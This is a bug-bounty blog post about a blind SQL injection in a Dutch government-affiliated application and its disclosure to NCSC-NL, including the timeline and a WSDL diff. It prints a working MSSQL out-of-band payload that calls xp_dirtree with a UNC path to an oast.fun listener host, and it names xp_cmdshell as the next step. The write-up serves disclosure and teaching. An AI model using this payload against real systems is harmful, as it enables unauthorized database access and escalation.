Vulnerability disclosure often involves long wait times. But the most frustrating response isn’t even silence. It is being told a Critical is an “Accepted Risk”.

Here is how I found a Blind SQL Injection in a Dutch government-affiliated application, and how I proved to the NCSC that the target hadn’t just “accepted the risk”, but secretly deleted the vulnerable endpoints.

1. Reconnaissance#

It all started on Twitter. I was doomscrolling as usual when I saw a cool hacker dude wearing an ‘I hacked the Dutch government’ T-shirt. I knew I wanted it.

After a quick search, I found the DutchGovScope repository on GitHub. I filtered the targets via:

Command
httpx -l "rijksoverheid.txt" -threads 50 -retries 3 -o "alive.txt"

Eventually, I stumbled upon a platform for some kind of soil assessment.

Login Page

The main application looked modern and somewhat secure. However, once I created an account and logged in, I started clicking through the deeper functionality. I eventually found /tools/<redacted>, a section of the site that felt older. It was a legacy application nested inside the modern portal.

While mapping this legacy area, I discovered an exposed SOAP web service interface at /tools/<redacted>/<redacted>.asmx. These diagnostic pages should usually be disabled in production environments as they list all available SOAP endpoints. I saved this listing for later—little did I know how useful it would become.

Exposed ASMX Service Listing

2. Vulnerability#

A quick check with Wappalyzer revealed the target was running IIS. Since IIS applications are typically built on ASP.NET and hooked up to an MSSQL database, I had a good idea of the backend environment. With that in mind, I started testing a few of the exposed SOAP endpoints.

After some attempts, I came across the wijzigNaam endpoint which accepted JSON input.

I tested common injection points like '". The server returned 500. Classic. Since this was MSSQL, I used the xp_dirtree procedure. This command attempts to list a directory tree. By passing it a UNC path (network share path) pointing to a domain I control, I can force the database server to perform a DNS lookup.

First, I got my listener subdomain from InteractSh, which is a free service designed for exactly this.

Payload:

Blind SQLi Payload
1;declare @x varchar(100);set @x='\\YOUR_UNIQUE_ID.oast.fun\oob'; exec master.dbo.xp_dirtree @x;--

Seconds later, my Interactsh listener received DNS queries from the server.

I stopped at xp_dirtree as this is a government application. However, being able to execute stored procedures meant I was likely one step away from full system compromise. Assuming the database user had sysadmin privileges, the next logical step for an actual attacker would be to enable xp_cmdshell to execute OS commands.

3. Disclosure#

  • July 08, 2025: I submitted the full report to NCSC-NL (National Cyber Security Centre).
  • July 10, 2025: NCSC confirmed the report and forwarded it to the responsible organization.
  • September 19, 2025: I followed up. NCSC replied that the organization was “working on it.”

Then, things got weird.

  • November 11, 2025: NCSC sent a final conclusion:

NCSC Reply

“Accepted risk” for a SQL Injection capable of RCE? You don’t “accept” the risk of someone deleting your database or popping a shell on your server.

I decided to re-verify the vulnerability. I sent the payloads again, and … they failed. Why? Because the endpoint was gone. I knew it because I downloaded the newest WSDL file and compared it to the one I had saved earlier.

WSDL diff
- <s:element name="wijzigNaam">
-   <s:complexType>
-     <s:sequence>
-       <s:element minOccurs="0" maxOccurs="1" name="id" type="s:string"/>
-       <s:element minOccurs="0" maxOccurs="1" name="val" type="s:string"/>
-     </s:sequence>
-   </s:complexType>
- </s:element>

On the same day, I emailed the NCSC back with the diffs and proof that the vulnerability was fixed.

  • December 10, 2025: I asked NCSC for an update, keeping my eyes on the real prize: “Well, if it’s actually fixed now, where is my t-shirt?”

  • December 11, 2025: NCSC replied, confirming the fix and asking where to send the bounty.

NCSC Reply

But I still needed closure. I asked them what actually happened. They finally admitted what went wrong:

NCSC Reply

So it was a miscommunication apparently. Anyways, a few weeks later, a letter of appreciation and the legendary T-shirt arrived.

NCSC T-shirt

Now I’m a certified hackerman. Thanks, NCSC!